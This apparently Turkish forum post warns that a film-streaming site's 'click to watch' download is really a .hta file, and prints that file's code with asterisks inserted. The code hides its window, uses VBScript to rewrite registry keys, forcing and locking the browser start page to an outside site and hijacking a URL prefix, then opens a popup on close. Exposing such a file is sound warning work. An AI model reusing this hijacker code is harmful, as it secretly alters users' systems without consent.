.hta kodunda saklanan gerçekler

.hta kodunda saklanan gerçekler
http://www.filmizlee.org/ sitesi online film izle filmi izlemek için tıkla dediği .hta kodunun içeriğini veriyorum .bilgisayarınızın register ayarları otomatik değişiyor çalıştır dediğinizde kodun içeriği;İndirmek için tıklayın - Film link 1 linki http://www.filmizlee.org/film_43647754_part1.hta
gibi bir linki gizliyor içinde kodu ise;
-------------------------------------------------------------------------------------------
<*html><*head>
<*hta:application id=hta_note_id
*applicationName=hta_note_name
*showInTaskBar=no
*caption=no
*innerBorder=no
*selection=no
*scroll=no
*contextmenu=no />
<*script language="javascript">
*window.resizeTo(0, 0);
*window.moveTo(0, 0);

<*script language="vbs">
*self.MoveTo 0, 0
*Set shell = CreateObject("WScript.Shell")
*shell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes\\mirc","http://mattbenoist.com/search.htm","REG_SZ"
*shell.regwrite "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
*shell.regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
*shell.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://mattbenoist.com/search.htm","REG_SZ"
*shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://mattbenoist.com/search.htm","REG_SZ"
*self.Close
<*/script>
<*script language="JavaScript">
<*!--
*function FP_openNewWindow(w,h,nav,loc,sts,menu,scroll,resize,name,url) {//v1.0
*var windowProperties=''; if(nav==false) windowProperties+='toolbar=no,'; else
*windowProperties+='toolbar=yes,'; if(loc==false) windowProperties+='location=no,';
*else windowProperties+='location=yes,'; if(sts==false) *windowProperties+='status=no,';
*else windowProperties+='status=yes,'; if(menu==false) *windowProperties+='menubar=no,';
*else windowProperties+='menubar=yes,'; if(scroll==false) *windowProperties+='scrollbars=no,';
*else windowProperties+='scrollbars=yes,'; if(resize==false) *windowProperties+='resizable=no,';
*else windowProperties+='resizable=yes,'; if(w!="") windowProperties+='width='+w+',';
*if(h!="") windowProperties+='height='+h; if(windowProperties!="") {
*if( windowProperties.charAt(windowProperties.length-1)==',')
*windowProperties=windowProperties.substring(0,windowProperties.length-1); }
*window.open(url,name,windowProperties);
*}
*// -->
<*/script>
<*/head>
<*body onbeforeunload="FP_openNewWindow('640', '480', false, false, false, false, *true, false, 'Duyuru', /*href*/'http://mattbenoist.com/search.htm')">
<*/body>
<*/html>

-------------------------------------------------------------------------------------------
http://mattbenoist.com/ sitesini anasayfa yapıyor gibi gözüküyor